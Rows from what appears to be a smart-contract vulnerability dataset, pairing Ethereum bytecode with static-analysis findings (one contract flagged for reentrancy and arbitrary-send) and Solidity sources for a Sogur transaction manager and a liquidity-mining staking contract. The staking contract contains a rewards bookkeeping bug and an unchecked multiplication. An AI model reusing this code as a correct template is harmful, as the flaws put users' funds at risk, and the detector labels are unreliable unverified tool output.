100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206ee039b6e127891b0d36ef33bc05199fe52b8888a4db30e1e6bf8da38d269edb64736f6c63430008030033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,402 |
0xf4dd8b5361c033135c80491e9d68bc487a49dd92
|
pragma solidity 0.4.25;
// File: contracts/sogur/interfaces/IMonetaryModel.sol
/**
* @title Monetary Model Interface.
*/
interface IMonetaryModel {
/**
* @dev Buy SGR in exchange for SDR.
* @param _sdrAmount The amount of SDR received from the buyer.
* @return The amount of SGR that the buyer is entitled to receive.
*/
function buy(uint256 _sdrAmount) external returns (uint256);
/**
* @dev Sell SGR in exchange for SDR.
* @param _sgrAmount The amount of SGR received from the seller.
* @return The amount of SDR that the seller is entitled to receive.
*/
function sell(uint256 _sgrAmount) external returns (uint256);
}
// File: contracts/sogur/interfaces/IReconciliationAdjuster.sol
/**
* @title Reconciliation Adjuster Interface.
*/
interface IReconciliationAdjuster {
/**
* @dev Get the buy-adjusted value of a given SDR amount.
* @param _sdrAmount The amount of SDR to adjust.
* @return The adjusted amount of SDR.
*/
function adjustBuy(uint256 _sdrAmount) external view returns (uint256);
/**
* @dev Get the sell-adjusted value of a given SDR amount.
* @param _sdrAmount The amount of SDR to adjust.
* @return The adjusted amount of SDR.
*/
function adjustSell(uint256 _sdrAmount) external view returns (uint256);
}
// File: contracts/sogur/interfaces/ITransactionManager.sol
/**
* @title Transaction Manager Interface.
*/
interface ITransactionManager {
/**
* @dev Buy SGR in exchange for ETH.
* @param _ethAmount The amount of ETH received from the buyer.
* @return The amount of SGR that the buyer is entitled to receive.
*/
function buy(uint256 _ethAmount) external returns (uint256);
/**
* @dev Sell SGR in exchange for ETH.
* @param _sgrAmount The amount of SGR received from the seller.
* @return The amount of ETH that the seller is entitled to receive.
*/
function sell(uint256 _sgrAmount) external returns (uint256);
}
// File: contracts/sogur/interfaces/ITransactionLimiter.sol
/**
* @title Transaction Limiter Interface.
*/
interface ITransactionLimiter {
/**
* @dev Reset the total buy-amount and the total sell-amount.
*/
function resetTotal() external;
/**
* @dev Increment the total buy-amount.
* @param _amount The amount to increment by.
*/
function incTotalBuy(uint256 _amount) external;
/**
* @dev Increment the total sell-amount.
* @param _amount The amount to increment by.
*/
function incTotalSell(uint256 _amount) external;
}
// File: contracts/sogur/interfaces/IETHConverter.sol
/**
* @title ETH Converter Interface.
*/
interface IETHConverter {
/**
* @dev Get the current SDR worth of a given ETH amount.
* @param _ethAmount The amount of ETH to convert.
* @return The equivalent amount of SDR.
*/
function toSdrAmount(uint256 _ethAmount) external view returns (uint256);
/**
* @dev Get the current ETH worth of a given SDR amount.
* @param _sdrAmount The amount of SDR to convert.
* @return The equivalent amount of ETH.
*/
function toEthAmount(uint256 _sdrAmount) external view returns (uint256);
/**
* @dev Get the original SDR worth of a converted ETH amount.
* @param _ethAmount The amount of ETH converted.
* @return The original amount of SDR.
*/
function fromEthAmount(uint256 _ethAmount) external view returns (uint256);
}
// File: contracts/contract_address_locator/interfaces/IContractAddressLocator.sol
/**
* @title Contract Address Locator Interface.
*/
interface IContractAddressLocator {
/**
* @dev Get the contract address mapped to a given identifier.
* @param _identifier The identifier.
* @return The contract address.
*/
function getContractAddress(bytes32 _identifier) external view returns (address);
/**
* @dev Determine whether or not a contract address relates to one of the identifiers.
* @param _contractAddress The contract address to look for.
* @param _identifiers The identifiers.
* @return A boolean indicating if the contract address relates to one of the identifiers.
*/
function isContractAddressRelates(address _contractAddress, bytes32[] _identifiers) external view returns (bool);
}
// File: contracts/contract_address_locator/ContractAddressLocatorHolder.sol
/**
* @title Contract Address Locator Holder.
* @dev Hold a contract address locator, which maps a unique identifier to every contract address in the system.
* @dev Any contract which inherits from this contract can retrieve the address of any contract in the system.
* @dev Thus, any contract can remain "oblivious" to the replacement of any other contract in the system.
* @dev In addition to that, any function in any contract can be restricted to a specific caller.
*/
contract ContractAddressLocatorHolder {
bytes32 internal constant _IAuthorizationDataSource_ = "IAuthorizationDataSource";
bytes32 internal constant _ISGNConversionManager_ = "ISGNConversionManager" ;
bytes32 internal constant _IModelDataSource_ = "IModelDataSource" ;
bytes32 internal constant _IPaymentHandler_ = "IPaymentHandler" ;
bytes32 internal constant _IPaymentManager_ = "IPaymentManager" ;
bytes32 internal constant _IPaymentQueue_ = "IPaymentQueue" ;
bytes32 internal constant _IReconciliationAdjuster_ = "IReconciliationAdjuster" ;
bytes32 internal constant _IIntervalIterator_ = "IIntervalIterator" ;
bytes32 internal constant _IMintHandler_ = "IMintHandler" ;
bytes32 internal constant _IMintListener_ = "IMintListener" ;
bytes32 internal constant _IMintManager_ = "IMintManager" ;
bytes32 internal constant _IPriceBandCalculator_ = "IPriceBandCalculator" ;
bytes32 internal constant _IModelCalculator_ = "IModelCalculator" ;
bytes32 internal constant _IRedButton_ = "IRedButton" ;
bytes32 internal constant _IReserveManager_ = "IReserveManager" ;
bytes32 internal constant _ISagaExchanger_ = "ISagaExchanger" ;
bytes32 internal constant _ISogurExchanger_ = "ISogurExchanger" ;
bytes32 internal constant _SgnToSgrExchangeInitiator_ = "SgnToSgrExchangeInitiator" ;
bytes32 internal constant _IMonetaryModel_ = "IMonetaryModel" ;
bytes32 internal constant _IMonetaryModelState_ = "IMonetaryModelState" ;
bytes32 internal constant _ISGRAuthorizationManager_ = "ISGRAuthorizationManager";
bytes32 internal constant _ISGRToken_ = "ISGRToken" ;
bytes32 internal constant _ISGRTokenManager_ = "ISGRTokenManager" ;
bytes32 internal constant _ISGRTokenInfo_ = "ISGRTokenInfo" ;
bytes32 internal constant _ISGNAuthorizationManager_ = "ISGNAuthorizationManager";
bytes32 internal constant _ISGNToken_ = "ISGNToken" ;
bytes32 internal constant _ISGNTokenManager_ = "ISGNTokenManager" ;
bytes32 internal constant _IMintingPointTimersManager_ = "IMintingPointTimersManager" ;
bytes32 internal constant _ITradingClasses_ = "ITradingClasses" ;
bytes32 internal constant _IWalletsTradingLimiterValueConverter_ = "IWalletsTLValueConverter" ;
bytes32 internal constant _BuyWalletsTradingDataSource_ = "BuyWalletsTradingDataSource" ;
bytes32 internal constant _SellWalletsTradingDataSource_ = "SellWalletsTradingDataSource" ;
bytes32 internal constant _WalletsTradingLimiter_SGNTokenManager_ = "WalletsTLSGNTokenManager" ;
bytes32 internal constant _BuyWalletsTradingLimiter_SGRTokenManager_ = "BuyWalletsTLSGRTokenManager" ;
bytes32 internal constant _SellWalletsTradingLimiter_SGRTokenManager_ = "SellWalletsTLSGRTokenManager" ;
bytes32 internal constant _IETHConverter_ = "IETHConverter" ;
bytes32 internal constant _ITransactionLimiter_ = "ITransactionLimiter" ;
bytes32 internal constant _ITransactionManager_ = "ITransactionManager" ;
bytes32 internal constant _IRateApprover_ = "IRateApprover" ;
bytes32 internal constant _SGAToSGRInitializer_ = "SGAToSGRInitializer" ;
IContractAddressLocator private contractAddressLocator;
/**
* @dev Create the contract.
* @param _contractAddressLocator The contract address locator.
*/
constructor(IContractAddressLocator _contractAddressLocator) internal {
require(_contractAddressLocator != address(0), "locator is illegal");
contractAddressLocator = _contractAddressLocator;
}
/**
* @dev Get the contract address locator.
* @return The contract address locator.
*/
function getContractAddressLocator() external view returns (IContractAddressLocator) {
return contractAddressLocator;
}
/**
* @dev Get the contract address mapped to a given identifier.
* @param _identifier The identifier.
* @return The contract address.
*/
function getContractAddress(bytes32 _identifier) internal view returns (address) {
return contractAddressLocator.getContractAddress(_identifier);
}
/**
* @dev Determine whether or not the sender relates to one of the identifiers.
* @param _identifiers The identifiers.
* @return A boolean indicating if the sender relates to one of the identifiers.
*/
function isSenderAddressRelates(bytes32[] _identifiers) internal view returns (bool) {
return contractAddressLocator.isContractAddressRelates(msg.sender, _identifiers);
}
/**
* @dev Verify that the caller is mapped to a given identifier.
* @param _identifier The identifier.
*/
modifier only(bytes32 _identifier) {
require(msg.sender == getContractAddress(_identifier), "caller is illegal");
_;
}
}
// File: contracts/sogur/TransactionManager.sol
/**
* Details of usage of licenced software see here: https://www.sogur.com/software/readme_v1
*/
/**
* @title Transaction Manager.
*/
contract TransactionManager is ITransactionManager, ContractAddressLocatorHolder {
string public constant VERSION = "1.0.1";
event TransactionManagerBuyCompleted(uint256 _amount);
event TransactionManagerSellCompleted(uint256 _amount);
/**
* @dev Create the contract.
* @param _contractAddressLocator The contract address locator.
*/
constructor(IContractAddressLocator _contractAddressLocator) ContractAddressLocatorHolder(_contractAddressLocator) public {}
/**
* @dev Return the contract which implements the IMonetaryModel interface.
*/
function getMonetaryModel() public view returns (IMonetaryModel) {
return IMonetaryModel(getContractAddress(_IMonetaryModel_));
}
/**
* @dev Return the contract which implements the IReconciliationAdjuster interface.
*/
function getReconciliationAdjuster() public view returns (IReconciliationAdjuster) {
return IReconciliationAdjuster(getContractAddress(_IReconciliationAdjuster_));
}
/**
* @dev Return the contract which implements the ITransactionLimiter interface.
*/
function getTransactionLimiter() public view returns (ITransactionLimiter) {
return ITransactionLimiter(getContractAddress(_ITransactionLimiter_));
}
/**
* @dev Return the contract which implements the IETHConverter interface.
*/
function getETHConverter() public view returns (IETHConverter) {
return IETHConverter(getContractAddress(_IETHConverter_));
}
/**
* @dev Buy SGR in exchange for ETH.
* @param _ethAmount The amount of ETH received from the buyer.
* @return The amount of SGR that the buyer is entitled to receive.
*/
function buy(uint256 _ethAmount) external only(_ISGRTokenManager_) returns (uint256) {
uint256 sdrAmount = getETHConverter().toSdrAmount(_ethAmount);
uint256 newAmount = getReconciliationAdjuster().adjustBuy(sdrAmount);
uint256 sgrAmount = getMonetaryModel().buy(newAmount);
getTransactionLimiter().incTotalBuy(sdrAmount);
emit TransactionManagerBuyCompleted(sdrAmount);
return sgrAmount;
}
/**
* @dev Sell SGR in exchange for ETH.
* @param _sgrAmount The amount of SGR received from the seller.
* @return The amount of ETH that the seller is entitled to receive.
*/
function sell(uint256 _sgrAmount) external only(_ISGRTokenManager_) returns (uint256) {
uint256 sdrAmount = getMonetaryModel().sell(_sgrAmount);
uint256 newAmount = getReconciliationAdjuster().adjustSell(sdrAmount);
uint256 ethAmount = getETHConverter().toEthAmount(newAmount);
getTransactionLimiter().incTotalSell(sdrAmount);
emit TransactionManagerSellCompleted(newAmount);
return ethAmount;
}
}
|
0x60806040526004361061008d5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166344f67a7b81146100925780634efbc58e146100d05780635a7e381b146100e557806374f1649a146100fa578063d96a094a1461010f578063e4849b3214610139578063fb5b951914610151578063ffa1ad7414610166575b600080fd5b34801561009e57600080fd5b506100a76101f0565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b3480156100dc57600080fd5b506100a7610220565b3480156100f157600080fd5b506100a761024b565b34801561010657600080fd5b506100a7610276565b34801561011b57600080fd5b50610127600435610292565b60408051918252519081900360200190f35b34801561014557600080fd5b506101276004356105fc565b34801561015d57600080fd5b506100a7610966565b34801561017257600080fd5b5061017b610991565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101b557818101518382015260200161019d565b50505050905090810190601f1680156101e25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b600061021b7f494d6f6e65746172794d6f64656c0000000000000000000000000000000000006109c8565b905090565b600061021b7f495265636f6e63696c696174696f6e41646a75737465720000000000000000006109c8565b600061021b7f49455448436f6e766572746572000000000000000000000000000000000000006109c8565b60005473ffffffffffffffffffffffffffffffffffffffff1690565b6000806000807f49534752546f6b656e4d616e61676572000000000000000000000000000000006102c2816109c8565b73ffffffffffffffffffffffffffffffffffffffff16331461034557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f63616c6c657220697320696c6c6567616c000000000000000000000000000000604482015290519081900360640190fd5b61034d61024b565b73ffffffffffffffffffffffffffffffffffffffff166336ae84ff876040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1580156103bb57600080fd5b505af11580156103cf573d6000803e3d6000fd5b505050506040513d60208110156103e557600080fd5b505193506103f1610220565b73ffffffffffffffffffffffffffffffffffffffff1663ac33f234856040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15801561045f57600080fd5b505af1158015610473573d6000803e3d6000fd5b505050506040513d602081101561048957600080fd5b505192506104956101f0565b73ffffffffffffffffffffffffffffffffffffffff1663d96a094a846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15801561050357600080fd5b505af1158015610517573d6000803e3d6000fd5b505050506040513d602081101561052d57600080fd5b50519150610539610966565b73ffffffffffffffffffffffffffffffffffffffff166394c58af3856040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b1580156105a757600080fd5b505af11580156105bb573d6000803e3d6000fd5b50506040805187815290517f5641c87651d6c56210eab4ad500dff2358026ea1bc36aac6ca6b43d03102b4949350908190036020019150a150949350505050565b6000806000807f49534752546f6b656e4d616e616765720000000000000000000000000000000061062c816109c8565b73ffffffffffffffffffffffffffffffffffffffff1633146106af57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f63616c6c657220697320696c6c6567616c000000000000000000000000000000604482015290519081900360640190fd5b6106b76101f0565b73ffffffffffffffffffffffffffffffffffffffff1663e4849b32876040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15801561072557600080fd5b505af1158015610739573d6000803e3d6000fd5b505050506040513d602081101561074f57600080fd5b5051935061075b610220565b73ffffffffffffffffffffffffffffffffffffffff1663248f2926856040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1580156107c957600080fd5b505af11580156107dd573d6000803e3d6000fd5b505050506040513d60208110156107f357600080fd5b505192506107ff61024b565b73ffffffffffffffffffffffffffffffffffffffff1663b6f66f4b846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15801561086d57600080fd5b505af1158015610881573d6000803e3d6000fd5b505050506040513d602081101561089757600080fd5b505191506108a3610966565b73ffffffffffffffffffffffffffffffffffffffff166345462de2856040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561091157600080fd5b505af1158015610925573d6000803e3d6000fd5b50506040805186815290517f20d6bcdb0ff16a213966ec2349d854c2c045ad4ab05321982666e7335d4707e59350908190036020019150a150949350505050565b600061021b7f495472616e73616374696f6e4c696d69746572000000000000000000000000006109c8565b60408051808201909152600581527f312e302e31000000000000000000000000000000000000000000000000000000602082015281565b60008054604080517f0d2020dd00000000000000000000000000000000000000000000000000000000815260048101859052905173ffffffffffffffffffffffffffffffffffffffff90921691630d2020dd9160248082019260209290919082900301818787803b158015610a3c57600080fd5b505af1158015610a50573d6000803e3d6000fd5b505050506040513d6020811015610a6657600080fd5b5051929150505600a165627a7a72305820899fe8778c1f7421edc00fc8e995358f46df0f19602e3ddf15a64431c9bd9da90029
|
{"success": true, "error": null, "results": {}}
| 8,403 |
0x4F66f085727C3d8b72FFD2Efd0Bb93469648f945
|
/**
*Submitted for verification at Etherscan.io on 2021-05-17
*/
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.7.4;
library SafeMathLib {
function times(uint a, uint b) public pure returns (uint) {
uint c = a * b;
require(a == 0 || c / a == b, 'Overflow detected');
return c;
}
function minus(uint a, uint b) public pure returns (uint) {
require(b <= a, 'Underflow detected');
return a - b;
}
function plus(uint a, uint b) public pure returns (uint) {
uint c = a + b;
require(c>=a && c>=b, 'Overflow detected');
return c;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface Token {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// This contract is inspired by the harberger tax idea, it rewards people with FVT for burning their liquidity provider
// tokens.
contract LiquidityMining {
using SafeMathLib for uint;
// this represents a single recipient of token rewards on a fixed schedule that does not depend on deposit or burn rate
// it specifies an id (key to a map below) an marker for the last time it was updated, a deposit (of LP tokens) and a
// burn rate of those LP tokens per block, and finally, the owner of the slot, who will receive the rewards
struct Slot {
uint id;
uint lastUpdatedBlock;
uint deposit;
uint burnRate;
address owner;
}
// privileged key that can change key parameters, will change to dao later
address public management;
// the token that the rewards are made in
Token public rewardToken;
// the liquidity provider (LP) token
Token public liquidityToken;
// address to which taxes are sent
address public taxAddress;
// is the contract paused?
bool public paused = false;
// when was the contract paused?
uint public pausedBlock = 0;
// maximum number of slots, changeable by management key
uint public maxStakers = 0;
// current number of stakers
uint public numStakers = 0;
// minimum deposit allowable to claim a slot
uint public minimumDeposit = 0;
// maximum deposit allowable (used to limit risk)
uint public maximumDeposit = 1000 ether;
// minimum burn rate allowable to claim a slot
uint public minimumBurnRate = 0;
// total liquidity tokens staked
uint public totalStaked = 0;
// total rewards distributed
uint public totalRewards = 0;
// total LP tokens burned
uint public totalBurned = 0;
// start block used to compute rewards
uint public pulseStartBlock;
// the length of a single pulse of rewards, in blocks
uint public pulseWavelengthBlocks = 0;
// the amount of the highest per-block reward, in FVT
uint public pulseAmplitudeFVT = 0;
// computed constants for deferred computation
uint public pulseIntegral = 0;
uint public pulseConstant = 0;
// map of slot ids to slots
mapping (uint => Slot) public slots;
// map of addresses to amount staked
mapping (address => uint) public totalStakedFor;
// map of total rewards by address
mapping (address => uint) public totalRewardsFor;
// map of rewards for session slotId -> rewardsForThisSession
mapping (uint => uint) public rewardsForSession;
// map of total burned by address
mapping (address => uint) public totalBurnedFor;
event ManagementUpdated(address oldMgmt, address newMgmt);
event ContractPaused();
event ContractUnpaused();
event WavelengthUpdated(uint oldWavelength, uint newWavelength);
event AmplitudeUpdated(uint oldAmplitude, uint newAmplitude);
event MaxStakersUpdated(uint oldMaxStakers, uint newMaxStakers);
event MinDepositUpdated(uint oldMinDeposit, uint newMinDeposit);
event MaxDepositUpdated(uint oldMaxDeposit, uint newMaxDeposit);
event MinBurnRateUpdated(uint oldMinBurnRate, uint newMinBurnRate);
event SlotChangedHands(uint slotId, uint deposit, uint burnRate, address owner);
modifier managementOnly() {
require (msg.sender == management, 'Only management may call this');
_;
}
constructor(
address rewardTokenAddr,
address liquidityTokenAddr,
address mgmt,
address taxAddr,
uint pulseLengthBlocks,
uint pulseAmplitude,
uint mxStkrs) {
rewardToken = Token(rewardTokenAddr);
liquidityToken = Token(liquidityTokenAddr);
management = mgmt;
pulseStartBlock = block.number;
pulseWavelengthBlocks = pulseLengthBlocks;
pulseAmplitudeFVT = pulseAmplitude;
pulseConstant = pulseAmplitudeFVT / pulseWavelengthBlocks.times(pulseWavelengthBlocks);
pulseIntegral = pulseSum(pulseWavelengthBlocks);
maxStakers = mxStkrs;
taxAddress = taxAddr;
}
// only management can reset management key
function setManagement(address newMgmt) public managementOnly {
address oldMgmt = management;
management = newMgmt;
emit ManagementUpdated(oldMgmt, newMgmt);
}
function pauseContract() public managementOnly {
require(paused == false, 'Already paused');
paused = true;
pausedBlock = block.number;
emit ContractPaused();
}
function unpauseContract() public managementOnly {
require(paused == true, 'Already unpaused');
require(numStakers == 0, 'Must kick everyone out before unpausing');
paused = false;
pausedBlock = 0;
emit ContractUnpaused();
}
// change the number of slots, should be done with care
function setMaxStakers(uint newMaxStakers) public managementOnly {
uint oldMaxStakers = maxStakers;
maxStakers = newMaxStakers;
emit MaxStakersUpdated(oldMaxStakers, maxStakers);
}
// change the minimum deposit to acquire a slot
function setMinDeposit(uint newMinDeposit) public managementOnly {
uint oldMinDeposit = minimumDeposit;
minimumDeposit = newMinDeposit;
emit MinDepositUpdated(oldMinDeposit, newMinDeposit);
}
// change the maximum deposit
function setMaxDeposit(uint newMaxDeposit) public managementOnly {
uint oldMaxDeposit = maximumDeposit;
maximumDeposit = newMaxDeposit;
emit MaxDepositUpdated(oldMaxDeposit, newMaxDeposit);
}
// change the minimum burn rate to acquire a slot
function setMinBurnRate(uint newMinBurnRate) public managementOnly {
uint oldMinBurnRate = minimumBurnRate;
minimumBurnRate = newMinBurnRate;
emit MinBurnRateUpdated(oldMinBurnRate, newMinBurnRate);
}
// change the length of a pulse, should be done with care, probably should update all slots simultaneously
function setPulseWavelength(uint newWavelength) public managementOnly {
uint oldWavelength = pulseWavelengthBlocks;
pulseWavelengthBlocks = newWavelength;
pulseConstant = pulseAmplitudeFVT / pulseWavelengthBlocks.times(pulseWavelengthBlocks);
pulseIntegral = pulseSum(newWavelength);
emit WavelengthUpdated(oldWavelength, newWavelength);
}
// change the maximum height of the reward curve
function setPulseAmplitude(uint newAmplitude) public managementOnly {
uint oldAmplitude = pulseAmplitudeFVT;
pulseAmplitudeFVT = newAmplitude;
pulseConstant = pulseAmplitudeFVT / pulseWavelengthBlocks.times(pulseWavelengthBlocks);
pulseIntegral = pulseSum(pulseWavelengthBlocks);
emit AmplitudeUpdated(oldAmplitude, newAmplitude);
}
// compute the sum of the rewards per pulse
function pulseSum(uint wavelength) public view returns (uint) {
// sum of squares formula
return pulseConstant.times(wavelength.times(wavelength.plus(1))).times(wavelength.times(2).plus(1)) / 6;
}
// compute the undistributed rewards for a slot
function getRewards(uint slotId) public view returns (uint) {
Slot storage slot = slots[slotId];
if (slot.owner == address(0)) {
return 0;
}
uint referenceBlock = block.number;
if (paused) {
referenceBlock = pausedBlock;
}
// three parts, incomplete beginning, incomplete end and complete middle
uint rewards;
// complete middle
// trim off overhang on both ends
uint startPhase = slot.lastUpdatedBlock.minus(pulseStartBlock) % pulseWavelengthBlocks;
uint startOverhang = pulseWavelengthBlocks.minus(startPhase);
uint startSum = pulseSum(startOverhang);
uint blocksDiffTotal = referenceBlock.minus(slot.lastUpdatedBlock);
uint endPhase = referenceBlock.minus(pulseStartBlock) % pulseWavelengthBlocks;
uint endingBlocks = pulseWavelengthBlocks.minus(endPhase);
uint leftoverSum = pulseSum(endingBlocks);
// if we haven't made it to phase 0 yet
if (blocksDiffTotal < startOverhang) {
rewards = startSum.minus(leftoverSum);
} else {
uint blocksDiff = blocksDiffTotal.minus(endPhase).minus(startOverhang);
uint wavelengths = blocksDiff / pulseWavelengthBlocks;
rewards = wavelengths.times(pulseIntegral);
// incomplete beginning of reward cycle, end of pulse
if (startPhase > 0) {
rewards = rewards.plus(pulseSum(startOverhang));
}
// incomplete ending of reward cycle, beginning of pulse
if (endPhase > 0) {
rewards = rewards.plus(pulseIntegral.minus(leftoverSum));
}
}
return rewards;
}
// compute the unapplied burn to the deposit
function getBurn(uint slotId) public view returns (uint) {
Slot storage slot = slots[slotId];
uint referenceBlock = block.number;
if (paused) {
referenceBlock = pausedBlock;
}
uint burn = slot.burnRate * (referenceBlock - slot.lastUpdatedBlock);
if (burn > slot.deposit) {
burn = slot.deposit;
}
return burn;
}
// this must be idempotent, it syncs both the rewards and the deposit burn atomically, and updates lastUpdatedBlock
function updateSlot(uint slotId) public {
Slot storage slot = slots[slotId];
// burn and rewards always have to update together, since they both depend on lastUpdatedBlock
uint burn = getBurn(slotId);
uint rewards = getRewards(slotId);
// update this first to make burn and reward zero in the case of re-entrance
slot.lastUpdatedBlock = block.number;
if (burn > 0) {
// adjust deposit first
slot.deposit = slot.deposit.minus(burn);
// bookkeeping
totalBurned = totalBurned.plus(burn);
totalBurnedFor[slot.owner] = totalBurnedFor[slot.owner].plus(burn);
// burn them!
liquidityToken.transfer(taxAddress, burn);
}
if (rewards > 0) {
// bookkeeping
totalRewards = totalRewards.plus(rewards);
totalRewardsFor[slot.owner] = totalStakedFor[slot.owner].plus(rewards);
rewardsForSession[slotId] = rewardsForSession[slotId].plus(rewards);
rewardToken.transfer(slot.owner, rewards);
}
}
// most important function for users, allows them to start receiving rewards
function claimSlot(uint slotId, uint newBurnRate, uint deposit) external {
require(slotId > 0, 'Slot id must be positive');
require(slotId <= maxStakers, 'Slot id out of range');
require(newBurnRate >= minimumBurnRate, 'Burn rate must meet or exceed minimum');
require(deposit >= minimumDeposit, 'Deposit must meet or exceed minimum');
require(deposit <= maximumDeposit, 'Deposit must not exceed maximum');
require(paused == false, 'Must be unpaused');
Slot storage slot = slots[slotId];
// count the stakers
if (slot.owner == address(0)) {
// assign id since this may be the first time
slot.id = slotId;
numStakers = numStakers.plus(1);
slot.lastUpdatedBlock = block.number;
} else {
updateSlot(slotId);
bool betterDeal = newBurnRate > slot.burnRate && (deposit > slot.deposit || deposit == maximumDeposit);
require(betterDeal || slot.deposit == 0, 'You must outbid the current owner');
// bookkeeping
totalStaked = totalStaked.minus(slot.deposit);
totalStakedFor[slot.owner] = totalStakedFor[slot.owner].minus(slot.deposit);
// withdraw current owner
withdrawFromSlotInternal(slotId);
}
// set new owner, burn rate
slot.owner = msg.sender;
slot.burnRate = newBurnRate;
slot.deposit = deposit;
// bookkeeping
totalStaked = totalStaked.plus(deposit);
totalStakedFor[msg.sender] = totalStakedFor[msg.sender].plus(deposit);
// transfer the tokens!
if (deposit > 0) {
liquidityToken.transferFrom(msg.sender, address(this), deposit);
}
emit SlotChangedHands(slotId, deposit, newBurnRate, msg.sender);
}
// separates user from slot, if either voluntary or delinquent
function withdrawFromSlot(uint slotId) external {
Slot storage slot = slots[slotId];
bool withdrawable = slot.owner == msg.sender || slot.deposit == 0;
require(withdrawable || paused, 'Only owner can call this unless user is delinquent or contract is paused');
updateSlot(slotId);
withdrawFromSlotInternal(slotId);
// zero out owner and burn rate
slot.owner = address(0);
slot.burnRate = 0;
numStakers = numStakers.minus(1);
emit SlotChangedHands(slotId, 0, 0, address(0));
}
// internal function for withdrawing from a slot
function withdrawFromSlotInternal(uint slotId) internal {
Slot storage slot = slots[slotId];
rewardsForSession[slotId] = 0;
// if there's any deposit left,
if (slot.deposit > 0) {
uint deposit = slot.deposit;
slot.deposit = 0;
liquidityToken.transfer(slot.owner, deposit);
}
}
}
|
